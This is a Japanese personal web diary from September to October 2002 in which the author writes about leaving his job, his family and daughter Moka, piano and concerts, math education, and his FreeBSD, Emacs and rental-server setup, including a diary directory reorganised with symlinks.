明らかに 8月の日記なんかと比べると、最近、特に 9月の後半以降つまんないですね。なんとかしなくっちゃとは思ってるんだけど。
全然関係ない話ですが、私のアドレスは kagami@xqb.biglobe.ne.jp ではありません(^^;。
知恵熱
実を言うと、先月の最後の方なんて、肉体的にも精神的にもボロボロで、仕事をしていても、30分も集中力がもたないなんていう状態でした。今後新しい仕事もあるので、本当はちょっと焦っていたのですが、うまいこと先月の 29日に高熱が出てなんにも考えずに一日ごろごろ出来たのです。それで、風邪で熱が出て意識朦朧でころがっているって意外と気持ちいいじゃないですか←そんなのあんただけだって(^^;。
もうその頃は在宅状態だったのですが、その日をきっかけにして、 2時間やって、疲れて 30分ころがって、また 2時間という風にだんだん集中力が出てきたのです。最近は、全盛期の 80% 位に戻ってきたかも知れません。わたしの場合、精神的な極限状態で高熱が出て、回復するパターンが多いのです。もしかすると、この 2年くらい風邪で熱をだしたことがなかったのがまずかったかも知れませんね。
# この年で知恵熱(^^;。

2002年10月2日(水)

Moon Gate
書き忘れていましたが、一昨日 Moon Gate が届きました(^^)。なんのかんの、あと一月で猫森ですね。とても楽しみです。アリスの場合ちょっと普通のコンサートとは違っていましたが、猫森の場合もっと谷山浩子さんの歌を堪能できるでしょうね。今からうれしくなってしまいます。Memories などを聞くと生の迫力は本当に素晴らしいだろうと思いますから。
あっ、もちろん予定していたコンサートは全部行きますよ(^^)。
お礼
ありがとうございます。わざわざ実験して下さったのですね。
当面買う予定のもの
携帯電話、屋内無線 LAN 装置、AirH" カード、作業机。
散財日記になったらどうしよう(^^;。

2002年10月1日(火)

事務処理
今日は、前の会社に退職事務処理に行きます。いやー、予想されていたとはいえ、人生が変化するのも急なものです。失業保険のお世話にはなりません。しばらくは在宅で仕事です。元来出無精なので、運動不足にならないように気をつけないといけませんね。あと、さすがに携帯電話は必要ですね。できたら AirH" も欲しいけど、そこまでは許可がでないだろうな(^^;。
ちなみに、これは転職日記ではなく「谷山浩子さん大好き」兼「チャット^^;」兼「モカ日記」なので、この話はなるべく書かないようにします。
てゆーか、最近みんな雰囲気を察してか、なんかよそよそしいんだよね(^^;。だから、5年ごとの行事だからたいしたことないんだって。
谷山浩子さんの年齢みたいなものです(^^)。
4月のお休み
昨日、4月に一か月休んだのは意味がなかったと書きましたが、これはもちろん昨日までの会社の継続に関してでありまして、自分の生き方を見直したり、家族関係を見直したりするのには大きな意味がありました。
赤ぽっちん
会社の机を整理していたら、てゆーか、若い人が整理してくれたんですけど、なくしたと思った赤ぽっちんが出てきました。現在在庫 5個(^^;。
yahooBB
人様の日記をみると、yahooBB に加入してそこそこの速度はでるが、「接続に待たされることが多い」と書いてある場合がよくありますね。これは「接続待」ではなく yahoo 指定の DNS の応答が悪いのだと思います。別の DNS を使用すると速くなると思いますね。

2002年9月30日(月)

日記の位置
明日からの日記の URL は、先日書いた通りですのでよろしくお願い致します。
退職
本日を持ちまして今の会社を退職致します。細かい経緯はその気になったら後で(^^;。
A さん、I さん、K さん、N さん、O さん、P さん、S さん、U さん (アルファベット順)本当にお世話になりました。←若い人ばっかり(^^)。
いつも 5年が区切りになります。あきちゃうんだよね。
考えてみると、去年の 5月で丁度 5年勤めて、ハードウエア、OS、ドライバー、ネットワーク等、40代の人間としては、余り例がないと思われるほど力がついたと思います。その点は非常に感謝しております。また自分の力も十分出せて、それなりの貢献も出来たと思います。今から 1、2年前が今日までの会社での全盛期かな。
それで、去年の 9月頃から働きすぎて疲れてしまったこともありますが、もうここではやることないかなと、少なくとも潜在意識の中で考えていたのだと思います。てゆーか 5年病が出たわけですね(^^;。いやー、あれほど働いていた人間が突然全く働かなくなって、しかも荒れはじめて、特に若い人は驚いたでしょうね。
それで、今年の 4月に一ヶ月休んだわけですが、時期をのばしただけであんまり意味がなかったですね(^^;。そういう意味では一年前に、現在の状況は予想されていたのです。
今後の生活は今の技術力ならなんとでもなる自信はあるので、やめることはお互いのために正解だと思います。完全にマンネリ化してますからね。規模がある会社だと「部署替え」ということができますが、小さい会社(村社会)で人間関係が悪くなったらやめるのが一番です。
ただ、上に書いたように非常に親切にして下さった若い人たちと余り会えなくなるのはとっても残念ですね。
MC
MC が届きました。そっくりハウスの宣伝だけかな(^^;。

2002年9月29日(日)

風邪
モカはサイエンス倶楽部に。私は風邪で 38度5分の熱。
マラソン
寝転びながらマラソンを見る。高橋尚子さんのファンだったりします(^^;。

2002年9月28日(土)

モカの誤算(^^)
モカが割り算を習っていて、わたしに難しい問題を出そうとするのです(^^)。小学生の割り算なので「正しい」割り算であり、商と余りを求めるのです。でもって、難しい問題。
```
-----------------
     28374839291
:    33291929377    : は割り算記号
-----------------
```
```
----------------
    574637382
:   473822218
----------------
```
あっという間に答えが分かってしまうのです(^^)。
自己流スンドHTML
おとといの段階で答えは分かっていたのですが、
```
echo './put.sh' | at xx:xx   # xx:xx は 1時間後とか。
```
ですね。ちなみに put.sh は更新された HTML ファイルのみを自動でアップロードする自作スクリプトです。
このファイル、2002年9月28日午前0時半にアップされるかな(^^;。
# おっと、一カ所間違い修正。役にたつじゃん(^^)。

2002年9月27日(金)

愛しのパソコン
世の中には 4種類の人間が存在します。
- (a) パソコンに愛しの名前をつけるか、つけないか。
- (b) パソコンの内部環境を整備して、自分好み(^^;に仕立て上げるか。
あと、自作するかどうかなんてのもありますが、私には不可能なのでパス。実は、わたくし両方に該当するのですが、一般に若い人に関していえば (a) は力がつくかどうかに無関係であり、(b) をやらない人は、プログラムの力はあまりつきませんね。
# 壁紙も関係なかったりします(^^;。
RC5-64クラック
64ビット暗号「RC5-64」の解読に成功というわけで、思ったより時間がかかりましたが、やっと解けましたね。これは、世界中のインターネットに接続しているマシンで、有志がプログラムと解読データの断片をダウンロードして、しらみつぶしに解を見つけようというプロジェクトです。私も一日だけ(^^;参加していましたが、なーんか空き時間とはいえ CPU が BUSY になるのが不愉快でやめてしまいました。どうせ、自分が正解を引くなんて宝くじにあたるより難しいですからね。
```
# これって、選挙のことを考えると、あんまりいい考えではないですね。
```

2002年9月26日(木)

スンドHTML
わたしは何かを書くと、ろくに見ないでアップしてしまう場合が多く、また間違いも多いのです。それで間違いに気が付いて再アップ。またまた、間違いに気が付いて再々アップ。そんな感じでひどいときは一日 20回位アップしたことがありました。また、気が向くと何か書くのですが、すぐアップしたくなってしまうのです(^^;。
それではあんまりひどいので、自分なりの掟。
- 一日のアップは緊急時を除いて基本的に 2回まで(3回かな^^;)。
- アップする前に 2回は読み直す。
- 間違いに気が付いても、致命的な場合を除いて修正分は次回に持ち越す。
守れるかどうか微妙ではありますが、努力致します。
スンドHTML ってないかな(^^)。
ちなみに「スンドメール」というのは、当然「寸止め」から来ているのですが sendmail のシャレにもなってますね(^^;。
S さんの説によると、名前を思いついてから開発したんじゃないかということです。同感。
持続時間
わたくし、人様が思っているより単調な作業に忍耐力があり、同じ本を 10回も読んで勉強したり、ピアノの練習を 5年間ほぼ毎日 1時間以上行ったりしました。この日記もそうかな。問題は、大体 5年で、突然興味が別のことに移行することです。

2002年9月25日(水)

モーツァルトピアノソナタ K284 ニ長調
傑作です。特に第三楽章の変奏曲は、数あるモーツァルトの作品の中でも、最も美しい瞬間を味わうことができます。
ピアノ
実は 37才くらいから 5年間くらいピアノを習っていました。←こっ、こいつはいい年していろんなこと始めるやつですな(^^;。
今のマンションに引っ越してきたのが丁度 11年位前で、まだモカはいなかったのですけど、長女と二女のピアノをどこで習わせようかななんて考えていたのです。そうしたら、丁度折よく、歩いて 3分位の場所に女性のピアノの先生と、男性のエレクトーンとドラムの先生の音楽教室がオープンしたのです。
最初の発表会が 10 年位前の 7月だったと思うのですが、ピアノの先生に「お父さんも一曲どうですか、お教えしますよ」なんて言われて、弾いたこともないのに、その気になって 2か月位練習して弾いたのが「モーツァルトピアノソナタ K284 第三楽章変奏曲のテーマ」(なっ長い^^;)。一分半くらいかな。
そんなことがきっかけで、定常的に習い始めたのですが、なんせマンションなので夜練習するわけには行きません。そうはいっても、休日以外は夜しかいないわけでして、それでは練習不足になってしまいます。そこで購入したのが「ヤマハサイレントピアノ」。これはペダルを設定すると、ハンマーが弦の直前で止まって、ヘッドフォンからだけ音が聞こえるというものです。
人様の前で弾いた曲を、正確な名前を調べるのが面倒なんで、なんとなく分かる名前でリストアップすると、
- ショパン作曲プレリュードから雨だれの前奏曲。
- ショパン作曲マズルカ作品 7の1 変ロ長調。
- ショパン作曲ワルツ作品 64の2 嬰ハ短調。
- メンデルスゾーン作曲無言歌集よりベニスの舟歌。
- ショパン作曲ノクターン 32の2 変イ長調。
というところで、ショパンばっかりですね(^^;。これには理由がありまして、ショパンの曲って、比較的簡単なものは、楽譜面よりは弾きやすくて、かつ聴き映えがするのです。
それで、全く才能のない人が、いい年をして弾き始めるとどうなるかと、これまたリストアップしますと、
- 綺麗な音が出ない。
- 楽譜を見ながら弾くのは無理。何回も何回も練習して指に覚えさせる以外なし。たまに「暗譜ですごいですね」なんて言われますが、暗譜じゃないと弾けないのです(^^;。
- 半年くらいそればかり練習していると、上に書いた程度の曲なら少々の間違いと多くのごまかしで弾けるようになって、「お父さん上手でしたね」とお世辞をいってもらえる程度にはなる。
- 全く応用がきかない。それなりの曲が弾けても、簡単な曲がすんなり弾けるわけではない。
というわけで、まさに発表会の 3分間のために半年の練習を費やすのであります。その後、仕事が忙しくなってピアノは練習する時間がとれなくなって、自然消滅してしまったのですが、最近は「ドラムなら家にないから練習しなくても怒られない^^;」ということで、ドラムをたたいたりしているのです。
ちなみに、サイレントピアノは、サイレント時にタッチが全然変わってしまって良くないです。マンション等で仕方がない場合以外は買うべきではないです。

2002年9月24日(火)

さなだ虫
昨日、奧さまとモカが目黒寄生虫館に行ってきました。私も行きたかったな。ちょっとモカには難しかったようです。ちなみにアベックが多かったそうです。
ダウン
今日はダウンしてお休み(^^;。疲れた。
だけど、今日はモカと相撲をとったり(^^;、なんかのキャラクターの剣を使って真剣白刃どりごっこ(^^;、とか久しぶりに遊べました。当然、相撲はわざと負けてあげるのですが、真剣白刃どりは本気を出しても負けますね(^^)。
物理層とデータリンク層
NTT の ADSL 等のモデムが、物理層のみに関与していて、データリンクを解釈しないならば、PPPoE レベルのセッションを複数持てても全く不思議はないような気がしますね。ただ、前の 1.5M bps のモデムはディップスイッチを設定すると突然ルータになったりしましたから、どのレベルまで解釈するのでしょうね。
隠しルータ機能を持っていても、NTT がネットワーク層(IP)に関与しないというのは正しい姿勢だと思います。

2002年9月23日(月)

続・みんなのうた
続もなにもあったものではないのですが、奧さまが買ってきてくれたのを読みました。幻想図書館２の写真が載っていますね。東京の3日目はあんな感じのアングルから観れたのです。とっても幸せでした。
最近座席運が良すぎるので後が恐いですね(^^;。
曲名が分かった(^^)
昨日、頭の中でなっていて分からなかった曲は、「僕は鳥じゃない」収録の「ＤＯＯＲ」でした。お騒がせしました。だけどしばらく聴いてなかったのに、どうして急に鳴り出したのだろう。それはともかく、このアルバムも本当に素晴らしい曲ばかりですね(^^)。
学力
今日の朝日新聞一面トップが「算数の学力大幅ダウン」という記事で、インターネットにも掲載されています。別にみんな算数とか数学ができる必要はないわけであって、全く分からないという子供がある程度存在するのは仕方がないし、そもそも、みんな数学なり算数がとっても出来たら、こちらはそのあたりしか取り柄がないので商売あがったりで困ってしまうのです(^^;。
それにしても、やはり最近の「理系」の大学を卒業した一部の人をみると、その学力の低下たるや本当にびっくりしてしまうほどなのです。
ちなみに、一番驚いたのは、理科系の大学を卒業したのに「素数」を知らなかった若者がおりまして、「万物は素数よりなる」という新ピタゴラス主義者であるかがみとしましては信じられないほどだったのであります(^^)。
ところで、教育論と言いますと、みんな結構勝手なことを考えていますし、特に「元青春スター」とか「元高校生プロレスラー」なんていう国会議員なんかが得意な分野だったりして、いかがわしい雰囲気さえ漂ってしまうのです。それで丁度良いことに、わたくしも極めていかがわしい人なので、ちょっと数学の学力低下の原因について書いてみようかなと思うのです。
- 計算練習の時間がなさすぎ
  
  小学生はもういやになるほど繰り返し計算の練習をさせるのが基本だと思うのです。たくさんの計算を繰り返して、数に対する直感が少しずつ出来てくるのです。
- 考え方が大切なんてことは不必要
  
  文章題なんかをやる必要は認めますが、あまり細かいことは考えないで、「やり方」を詰め込んじゃえばいいと思うのです。やはり量であります。まあ、この段階で、それなりの能力がある子供は自分で考えるでしょうし、あんまり算数に向いていない子供はつまんないでしょうけど、それは仕方がないと思うし、量をやればだんだん出来るようになる子も出てくると思うのです。
- みんなが分かる授業なんて無理
  
  別に算数や数学に限らず、ある分野でいくら教えたって無駄な人は必ずいるわけで、そう言う人は別の得意分野をのばしてあげればいいでしょう。全員に分かるようにというのは、時間の無駄だし、全体のレベルの低下につながります。そりゃ、出来るに越したことはないでしょうが、理科系の大学にでもいるのでなければ、算数や数学が得意でないことが悪いこととも思いません。いやー、だから、みんな得意だと困るんだって(^^;。
いいかげんなことを書きましたが、やはり絶大なる記憶力を誇る小学生には、理屈ではなく知識をどんどん詰め込むのが良いと思うのです。論理的に～とか、考え方を～なんてのはどうも信用できなくて、ましてや、生きる力は～なんてのはお話になりません。やっぱりすべての良い思考の源泉は知識だと思うのです。
これは人に聞いた話なのですが、大学のコンピューターの講座で先生が「16bit のコンピューターは 0 から (2^16 -1) までの数値を表現できます」と黒板に書いたら、「せんせ～、その肩にのった 16 っていう小さいすーじなんですか～」という質問があったそうです(^^)。
↑こんなこと書いてる暇があったら仕事しなさい(-_-)。は～い(^^;。

2002年9月22日(日)

みんなのうた
奧さまからのメールで買ってきてくれたそうです。実は忘れていたので、今日メールで催促したのです。あと、モカちゃんからもメールあり。これが一番うれしいね(^^)。
全然関係ないけど、今月ドラムの練習一回もいってない。たたきたいな。
曲名がわからない(^^;
昨日から、谷山浩子さんの曲が頭のなかでなっていて聴きたくて仕方がないのだけれど、曲名とか収録アルバムが分からないのです。仮に著作権のことに目をつぶっても、私は、音が楽譜にならない人なので、楽譜の一部をアップしてお客様に聞くわけにいかないし、ましてやとっても音痴なので自分で歌って mp3 でアップしても判読不可能と思われます。歌詞が分かればいいのだろうけれど、メロディーだけが頭の中を流れているのです。いずれ、何か聴いているときに正解を引くでしょう(^^;。
こんな時は、ギターが弾ける人のことがうらやましかったりします(^^)。

はげはげキーボード

私の Thinkpad R30 も一年近く使っておりまして、だいぶキーボードの刻印がはげてきました。刻印が薄くなってきたキーとその原因の考察です。

キー症状推測される原因

x ほとんど見えない emacs のセーブ ctrl-x ctrl-s

s 半分見えない emacs のセーブ ctrl-x ctrl-s、ls

n 半分見えない emacs の次行 ctrl-n

m 半分見えない不明

> 半分見えない emacs のファイル終了へ meta->

c 半分見えない ctrl-c

Emacs を使って無意識にセーブする癖があるので x,s がボロボロなのは分かります。だけど ls,ps,pwd なんて結構無意識に打っていると思うのですが、案外関係ないですねえ。あと画面のリフレッシュで Ctrl-L もしょっちゅう打っていますが L は無事ですね。それにしてもどうして下段のキーばっかりはげるのだろう。Ctrl との併用の場合、下段の場合人指し指を使うからですかねえ。

別にキーボードなんて見るものではないので、これで不都合はないのですが、見栄えが悪いですね。こんなこともあって、英語キーボードに交換したいなと思っているのですが、何せ、予算がないのと、分解して組み立てると必ずネジが余る人なので自信がないのです(^^;。

JIS カナキーボードを使えない理由
実は、わたくし、幼稚園の頃視力が 0.5、小学校 3年の頃 0.1 と生まれつき視力が良くないのです。それで落ち着きもなくて、勉強も運動も出来なかったので完全にのび太くんモードだったのです。ちなみに、今は 0.01 位で乱視が入っていて、さらに最近は老眼もひどいというボロボロ状態なのです(^^;。
それで、小さい頃から複数のものからあるものを目で検索する能力が極端に低いのです。実は、これが Windows を使いたくない大きな理由でありまして、デスクトップなりメニューからアイコンを探し出すのに他の人の 3倍も5倍も時間がかかって、とってもイライラするし、効率も悪いのです。
そう言うわけで JIS キーボードもブラインドタッチが出来る状態までもっていければいいのでしょうが、そこに行くまでに字を探すのに疲れてしまって何回か挫折しているのです。その点、アルファベットキーなら数が少ないので何とかなったのです。
あと、私が知っている限り JIS 派の人は、みんな頭が良くて、聡明で、器用な人が多い気がします。やっぱり 50個把握するのって大変なんじゃないですか。

2002年9月21日(土)

今日は中秋の名月
モカがお団子を作っています(^^)。だけど曇ってる(^^;。
今日の昼間 8時間以上寝てたかも～。
モカちゃん、今からでも JIS カナに転向させようかな。
私は、ある事情ありて JIS カナは不可能だったのです。事情はこんど。
それはともかく、月が見えた～(^^)/。
明日から仕事
また、少し頑張りモードですね。一昨日と、昨日はかなり「きてた」からね(^^;。
関西風たこやき
奧さまの説。「あなた、もともと福島、宮城、神奈川の言い回しが混じっていて読みにくいのに、最近関西風も混じってるんじゃないの」。てゆーか、人の言葉の影響を受けやすかったりします。こらこら、たことはなんやんねん(^^)。
私はローマ字入力派なので英語キーボードをとってもとっても欲しいのです(^^;。
UNIX が好きな理由
ご存じのように(^^;、わたくし、基本的にノート PC の FreeBSD を使用していますが、Windows2000 などはクライアントとしては十分安定していると思いますし、実際そちらを使った方が便利なのかも知れません。クライアントとして UNIX を使用する理由を思いついたまま列挙しますと、
- シェルが好き。
- Emacs が好き。
あれ、これしかないや(^^;。
UNIX のファイルシステムは広大な土地を連想させ、プロセス群がそこで生活する多様な生き物たちを連想させると、バッハ(音楽家じゃない)という OS の専門家が書いていました。実を言うと私も ls と ps でその感覚を味わうのが好きなのであります。
もうちょっと本質的な理由を挙げますと UNIX で新しいプロセスを生成する(子供を生む)場合 fork() という引数なしのシステムコールが使われます。この簡潔、明快な美しさが好きというのが一番の理由だと思います。
もちろん、コマンドを組み合わせて便利なことができるという理由も大きいのです。
お休み
今日はお休みですね。若い人には今日は行かないって言ってあるし(^^;。

2002年9月20日(金)

日記のディレクトリ変更

昨日は一時血迷ってすみませんでした。どうも疲れが(^^;。
それはともかく、お手数をおかけして申し訳けないのですが、日記のありか、今までは、


http://evariste.que.ne.jp/kagami/diary/2002/09.html

という感じでしたが、本日より、


http://evariste.que.ne.jp/kagami/diary/0000/200209.html

http://www5a.biglobe.ne.jp/~kagami-h/diary/0000/200209.html

と致します。日記にリンクを張って下さっている方は、リンクの変更をお願い致します。なお今月中は今までの URL も有効です。あと、最新の日記は、


http://evariste.que.ne.jp/kagami/diary/0000/newdiary.html

http://www5a.biglobe.ne.jp/~kagami-h/diary/0000/newdiary.html

でアクセス可能です。 /0000/ はなんだと思われる方もいらっしゃるかと思いますが、こうしないと相対パスによるリンクが全部ダメになってしまうので、西暦一万年までということで(^^)。
これらは、わたしの PC 上では旧来の名前へのシンボリックリンクになっておりまして、配信(アップロード)時に複製されます。
近日中に evariste.que.ne.jp の方はトップページから最新日記への自動ジャンプが出来るようにします。 biglobe はまだやり方が分かりません(^^;。

$ ls -l ./diary/
drwxr-xr-x  2 kagami  kagami  1024 Sep 20 02:35 0000
lrwxr-xr-x  1 kagami  kagami     4 Sep 20 02:02 2002 -> 0000
-rw-r--r--  1 kagami  kagami   678 Sep 20 02:06 index.html

$ ls -l ./diary/0000/
lrwxr-xr-x  1 kagami  kagami     11 Sep 20 02:04 04.html -> 200204.html
lrwxr-xr-x  1 kagami  kagami     11 Sep 20 02:04 05.html -> 200205.html
lrwxr-xr-x  1 kagami  kagami     11 Sep 20 02:04 06.html -> 200206.html
lrwxr-xr-x  1 kagami  kagami     11 Sep 20 02:05 07.html -> 200207.html
lrwxr-xr-x  1 kagami  kagami     11 Sep 20 02:05 08.html -> 200208.html
lrwxr-xr-x  1 kagami  kagami     11 Sep 20 02:05 09.html -> 200209.html
lrwxr-xr-x  1 kagami  kagami     11 Sep 20 02:03 newdiary.html -> 200209.html
-rw-r--r--  1 kagami  kagami  20620 Sep 16 02:10 200204.html
-rw-r--r--  1 kagami  kagami  46835 Sep 16 02:10 200205.html
-rw-r--r--  1 kagami  kagami  70554 Sep 16 09:46 200206.html
-rw-r--r--  1 kagami  kagami  85616 Sep 16 02:10 200207.html
-rw-r--r--  1 kagami  kagami  97550 Sep 16 02:10 200208.html
-rw-r--r--  1 kagami  kagami  55014 Sep 20 02:32 200209.html

ちなみに 200210.html は作る予定ですが、10.html は作りません。リンクの関係で古いファイルは全部残ります。

ながーいトンネル
この前も愚痴りましたが、今月一日しか休んでいません。
今日も泊まり込みでしたが、今月の最初の頃の日記を読むと休日出勤とはいえ余裕が感じられます(^^;。ただ、この泥沼、そう簡単に終息しないとみんな本音では思っているのです。まだまだ長いでしょうね。正直言いまして、ハムの会社ではないですが、一週間とか短期間で納期を小出しにのばしてもらうというのが良くないんです。長期的な計画を練り直した方がお互いのためにいいと思うな。
大きな声では言えませんが、明日からの三連休も当然招集がかかっているのですが、一日すっぽかさないと体が持ちません(^^;。いっくらなんでも、欠勤扱いには出来ないでしょう。
長期的な計画
上に書いたディレクトリ構造ですが、考えてみると、西暦 10000年なんてもんではなく、例えば西暦 3141592年 6月には、
```
./diary/0314/159206.html 
```
となり、もしかして私が生きている間くらいはもつかも知れません(^^)。
# 問題はレンタルサーバーのディスク代ですね～(^^;。
奧さまからのメール
疲れているのではないかと心配するメールが来ました。なんか、ちょっと泣いちゃいました。ちなみに 4月に休む前と今とで何が一番違うかというと、休む前は家族関係がぼろぼろだったのだけど、今は非常に良好なのです。
内部リンク追加
全部の日記ページに「谷山浩子さんページ」へのリンクを作成。修正が多くてすみません(^^;。

2002年9月19日(木)

好きだーたのよっ、あーなた♪
昨日、石川ひとみさんの CD が届いていました(^^)。 CD で聴くと、なかなか上手ですね(^^)。歌の場合そのときの調子に左右されやすいので、一回聴いただけでは分かりませんね。そーか、「くるみ割り人形」のイメージが潜在意識にあったんだ。「ひとりぼっちのサーカス」もいい曲ですね。だけど、これも「お人形」ですね(^^;。
あと、「NHKみんなのうた　2002年10・11月号」を奧さまにお願いしました。これは、そっくりハウス関連です。
「まちぶせ」って作詞・作曲が荒井由美さんだったんですね。知らなかったです(^^;。作詞・作曲の相手にめぐまれていますね(^^)。あと、病気で苦労されたそうですね。
PCMCIA のネットワークカード(^^;
PCMCIA は ISA バスみたいなものですから、100BaseT の実効転送速度は絶対に無理ですね(^^;。PIO しか使えないのが致命的で、 10BaseT 程度の実効速度が普通です。そういう意味では、単に 100BaseT のハブに接続可能な 10BaseT のカードと考えたられた方が良いと思います。別にインチキではないのです。だけど、普通 100BaseT って言えばその 8割位の速度が出ると思いますね。そういう意味ではやっぱりインチキかな。わたしの家の ADSL みたいなものですね(^^)。
かめむし
可愛いカナヘビの写真なんてアップされている場所もありますが、爬虫類に関しては苦い想い出があるのです(^^)。
実は、昔長女がツルカメ算のやりかたを教えてちょーだいと私の所に来まして、「どれどれそんなの簡単だよ」と大いばりで解き始めたのです。
ところが、小学生的な方法でも、連立方程式でもどうしても解が分数になってしまうのです。「うーんおかしいなー。問題が間違っているね～」なんて言ったのですが、長女と、横にいた奧さまが唖然とした顔をして私を見ているのです。
「あんた何考えてるの。本当にバカねえ」と奥さんに言われてやっと気が付いたのですが、実はカメの足が 6本なんて言いながら計算していたのです。どうしてあんなことになったんだろう(^^;。

2002年9月18日(水)

モカメール
最近毎日メールを書いてくれるのです。私が忙しいので、奧さまの指令で書いているのかと思ったら、そんなことはないそうです。とってもうれしいのです(^^)。
お帰りなさい
そういうことです(^^)。
ページ構成変更計画
こんなマイナーなページをあんまりいじっても仕方がないのですが、現在いくつかの設計ミスがあります(^^;。
- 例えば 2002年9月の日記は diary/2002/09.html というパスになっていますが、年を越えた場合、いろいろ不便が予想されます。素直に diary/200209.html としたいのです。
- このページに遊びにきて下さるお客さまは、基本的に最新の日記以外読まないと思われます(^^;。ところがトップページから最新の日記までたどり着くのが結構大変であります。また日記に直接リンクを張っていただいていても、毎月張り直す手間がかかります。
  従って、いっそのこと最新の日記をトップページに置いて、谷山浩子さんページへは日記のページから行けるようにして、過去の日記一覧も現行日記ページからのリンクとしたいのです。
- プロファイルは簡潔化する。
- リンクのページは全く意味がないので廃止。
こーんな感じ。
```
index.html=200209.html ----> 日記一覧 
                                        -----> 200209.html
                                        -----> 200208.html
                                        -----> 200207.html
                                        ...
                                        ----> 谷山浩子さん
                                        ----> プロファイル
                       ----> 谷山浩子さん
                       ----> プロファイル
```
構成を変えるのは簡単なのですが、リンクを変えるのが面倒なんです。いずれにしてもしばらく先の話ですね(^^;。
こうして、構成を見ると日本一杜撰なページですな(^^;。
あと、index.html と 200209.html の内容は同じでもディレクトリが違うと、相対パス記述が全部だめですね。どうしよう(^^;。
いろいろ教えて頂いてありがとうございます。とりあえずこのページに「谷山浩子さんページ」へのリンク作成。
MS-Word on FreeBSD
北朝鮮が拉致を認めたのは本当に驚きましたね。小泉さん、適当にあしらわれて帰ってくるだけだと思っていました。私も、現在の状況を少しでも改善する方向に努力するのが重要だと思います。
それはともかく(^^;、 FreeBSD や Linux などを使いまして、物書きは Emacs で、見栄えが必要な場合 LaTeX を使う人にとって、なんといっても最大の悩みの種は MS-Word なのであります。困るパターンが大きく分けて二つありまして、
お客様から Word でドキュメント提出と指定された場合。
この場合、根本的な解決方法は存在しません(^^;。いーかげんな解決法としましては、
- LaTeX で書いたドキュメントを LaTeX2Html で HTML に変換する。この段階で、見栄えの 95% は失われます(^^;。でもって、最近の Word は HTML を読み込んで DOC に変換できるので、極めて見栄えが悪い Word 文書のできあがり。
- LaTeX(から PDF にした)の生原稿と Word の原稿を見せて、「ほら、PDF ならこんなに綺麗ですよ～」と脅迫する(^^)。
- 研究者の方が担当の仕事もありまして、その場合担当の人は LaTeX の方が良いと思っている場合もあるのです。上司が Word でなくてはいけないと言ってるのです。そういう場合、納品物件は見栄え悪き Word にして、担当者には別ルートで LaTeX 版を差し上げる。
- 上記の作戦がすべてうまくいかない場合、プログラムではまっている若い人の所に行って「ちょっと見てあげようか」と甘い言葉をかける。 2時間くらい付き合って動いたところで、「ちょっとお願いなんだけどぉ」といって LaTeX をテキスト化したファイルを渡して Word 化してもらう。まあ、一種の詐欺ですね(^^;。
逆に Word のファイルをメールとかで受け取った場合の状況は大分改善してきたのです。本来 Word 文書は基本的に読まないというポリシーなのですが、お客様から頂いた仕様書などの場合はそうもいきません。結局セーブしていちいち Windows 側の Word を起動するという面倒な手順が必要でした。それで、最近の改善点としましては、
- OpenOffice という Sun が作っているソフトウエアがだいぶ実用的になってきまして FreeBSD でも動作します。これは Word の文書を読み込めるのです。ただ極端に重いのと、うまく行かない場合も多いのが欠点であります。
- 最近 wvHtml という Word 文書を(見栄えは悪いが)HTML 化するプログラムが実用的になってきまして、特に Mew/Emacs で Word 添付ファイルをさわると、wvHtml と w3m が起動して「何が書いてあるか分かる」程度に表示してくれるのです。
上記の方法で内容をながめて、重要と思った場合、本物の Word で印字すれば良いので、状況はとても改善されたと言えるのです。
ちなみに、ここで TeX2Word 開発中と一年以上前からアナウンスされていて、とても期待しているのですが、いつまでたっても出来ないのです。もうだめかも(^^;。
# Word2TeX の方が先に出来ていて、そこそこ売れているとは、世も末ですな(^^;。

2002年9月17日(火)

谷山浩子さん
もう火曜日なんですね(^^;。昨日は最後に愚痴なんて書いてすみませんでした。
ところで、この半年間谷山浩子さんのアルバムを聴きすぎまして、何となく音楽が流れてしまうようになって、以前ほど心に響かない場合もあったのです。そこで、「他の音楽ももう少し聴かなければいけないかなー」なんて考えていたのです。まあ、この件と石川ひとみさんは関係ないですけどね(^^;。
ところが、昨日書いたように、早朝に(時間の感覚がちょっと^^;)とても音が悪いスピーカーで谷山浩子さんの歌を聴いていたですが、特に気に入っていたとは限らない曲も含めて、今までにないほど心に響いたのです。うーん、疲労の極限になると、ある種の感受性が敏感になるんですかねえ。
うまいことに、今もその状態が続いており、ちょっと目をうるうるさせたりしながら音楽を聴いているのであります(^^)。
これが続くなら休みなしも...良くないですな(-_-)。
モカと一緒にどこかに出かけたいよ～(^^;。
今日は 10時半頃に出社
目が覚めたら渋谷でありました(^^;。今月いっぱいは休みなしですね。別に私一人で苦労しているわけではなく、みんなで苦労しているんですけど。どうしても、年に一回位はこういう時期がありますね。
いずれにしても、もろもろの仕事は 10月中に全部一段落させて 11月はコンサートに専念しなくっちゃ(^^)。
レンタルサーバー
アイネットディーのレンタルサーバーを借りてから半月くらい経ちましたが、十分満足しています。
- なんといっても FreeBSD である。
- わたしは UNIX マシンにログインして意味もなくコマンドを入れるのが好きなのですが、ログインできるマシンが一つ増えた。しかも ssh でユーザー名やパスワードを入力しないで入れる。
- このページの更新ファイルのみを自動的に tar にまとめるプログラムは作ってありまして、それを scp で送り込んで、リモートの tar で展開する処理が全部自動化可能。
- このページのように実質テキストのみの場合、十分に高速。
- レンタルサーバーの ifconfig なんて実行許可や読み込み許可がついていなくて実行できないのですが、こちらから持っていった ifconfig は(私の権限で)ちゃんと動いたりする。なんか間が抜けていて楽しい(^^)。
- サブドメインとはいえ、自分の好みの名前のドメインを持ったつもりになれる。
- メールアドレスを 5個持てて、各アドレスがエイリアスを持てる。家族が多いのでこれは予算的に助かります。てゆーか、これでほとんどペイしていたりします。
- procmail でメールのフィルターが可能。ただ、忙しくて全然設定していないですけど(^^;。
- cron も使える。
- Apache レベルのログをとってくれるので、ページにログ用の CGI を入れたりする必要がない。こういう超マイナーなチャット系日記 (そんなつもりなかったんですけど～^^;)の場合アクセスログがないとちょっと困るのです。遊びに来てくれない人に話しかけるのもすごーく間抜けなもんで。ただ、なんせ人数が少ないので、ログに残ると目だってしまうのは確かなのです。そう言う訳でログなしの biglobe も残してあるわけです。
やはり、場所貸しだけでなく、ログイン可能というところがポイントですね。なんかマニアのツボを押さえていると言うか。だけど、一月 1,000円位だとあんまり儲からないでしょうね。きっと、これを足掛かりにして大きな商売につなげたいのでしょう。
↑仕事が忙しーんじゃないの。いやっ、お昼休みに一生懸命(^^;。

2002年9月16日(月)

眠い(=_=)
あと 18時間。マラソンで言えばまだ 18Km 位ですな(T_T)。
